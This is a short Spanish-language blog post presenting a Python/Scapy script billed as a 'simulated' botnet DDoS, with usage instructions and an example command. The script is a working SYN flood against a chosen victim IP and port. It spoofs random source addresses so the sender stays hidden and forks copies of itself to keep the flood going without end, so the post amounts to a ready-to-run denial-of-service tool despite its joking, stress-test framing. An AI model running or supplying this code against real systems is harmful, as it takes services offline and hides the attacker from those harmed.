miércoles, 21 de agosto de 2013

De risas, con humor y Scapy (II)

Bienvenidos a la segunda edición de HUMOR CON SCAPY!! hoy.... Simular una Botnet para lanzar un DDOS simulado.

Como bien sabéis el objetivo de los DDOS es saturar un servicio y colapsarlo. Bien pues con la librería Scapy de Python generaremos un bucle de paquetes que van a ir dirigidos a una única dirección IP y puerto. Le añadiremos un mensaje algo como "Egunon macarrones" y le pondremos que la IP origen sea aleatoria para que no se vea reflejada nuestra dirección. Y listo!!

#! /usr/bin/env python
import sys
import os
from scapy.all import *

victima=sys.argv[1]
puerto=sys.argv[2]
mensaje=sys.argv[3]
hilos=sys.argv[4]
print victima
print puerto
print mensaje
try:
        hilos=int(hilos)
except:
        hilos=0
print hilos

while hilos > 0:
        if os.fork() == 0:
                os.system("/root/simulaDDOS.py "+str(victima)+" "+str(puerto)+"'"+str(mensaje)+"' 0")
        hilos-=1

ddos=IP(src=RandIP(),dst=str(victima),id=1111,ttl=255)/fuzz(TCP(sport=RandShort(),dport=int(puerto),seq=12345,ack=1000,window=1000,flags="S"))/str(mensaje)
ls(ddos)
srloop(ddos,inter=0.01,count=1000)
#Y para que sea infinito lo lanzamos otra vez
if os.fork() == 0:
        os.system("/root/simulaDDOS.py "+str(victima)+" "+str(puerto)+"'"+str(mensaje)+"' 0")
exit()

La forma de usar es muy sencilla solo hay que indicar en el siguiente orden:
IP= dirección IP de la victima
PUERTO= servicio a atacar 80 el HTTP por ejemplo
"MENSAJE"= texto que se enviará junto con el paquete
HILOS= tiene que ser una cifra del 0 a N. El programa creará procesos similares para intensificar la simulación del ataque.
./simulaDDOS.py 192.168.1.100 80 "Egunon macarrones" 2
Espero que os sirva como prueba para hacer alguna prueba de estrés en alguna máquina.

Un saludo.